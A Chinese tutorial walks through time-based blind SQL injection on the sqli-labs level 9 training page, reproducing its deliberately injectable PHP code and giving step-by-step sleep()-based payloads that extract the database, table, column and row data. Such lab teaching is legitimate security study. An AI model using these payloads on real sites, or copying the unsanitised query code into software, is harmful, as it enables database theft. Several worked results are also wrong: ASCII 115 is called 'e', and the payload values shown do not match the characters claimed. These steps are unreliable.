sql注入–时间盲注
sql注入–时间盲注
靶场:sqli-labs-master
下载链接:靶场下载链接
第九关
php源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
时间盲注与布尔盲注不同,布尔盲注如果成功会有回显,而时间盲注没有
此时就需要使用条件判断语句进行盲注
盲注需要用到一些函数
1.substr() 截取字符串
2.length() 返回字符串长度
3.ascii() 返回字符串的ASCII码
4.sleep() 程序执行延迟()秒
5.if(exp1,exp2,exp3) 如果exp1正确,就执行exp2,否则执行exp3
比如:
1.select if(1=2,1,2)
返回2
2.select sleep(5)
程序延迟5秒运行
①.使用if 和 sleep构造语句获取数据库名称
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
可以使用F12打开开发调试工具,在network里面查看网页响应时间
可以看到,运行时间为17ms。说明没有执行sleep函数,那么数据库名的第一个字符对应的ASCII码为115,即e
如果将115改成112
可以看到,相应时间为5.02秒,说明执行了sleep函数,那么对应ASCII码就不为112
同理可以获取到其他字符
注:可以使用burpsuite的repeater模块减少手工测试的时间
抓包
发送至repeater模块
右下角可以看到响应时间
技巧:可以将=改为<或>来缩小范围
例如:
可以看到小于110是错误的,那么110及以下的都不用进行判断
这样就方便观察和猜解数据
获取到数据库的名称为security
②.获取数据表的名称
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,1,sleep(5)) --+
得到数据表的第一个字符为e
余下的同理可得emails
③.获取数据表的字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=101,1,sleep(5)) --+
得到第一个字段的字符为i
余下同理
得到第一个字段为id
④.获取id字段中的数据
?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))=101,1,sleep(5)) --+
得到数据表的id字段一个数据为1
余下的同理可得
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
二维码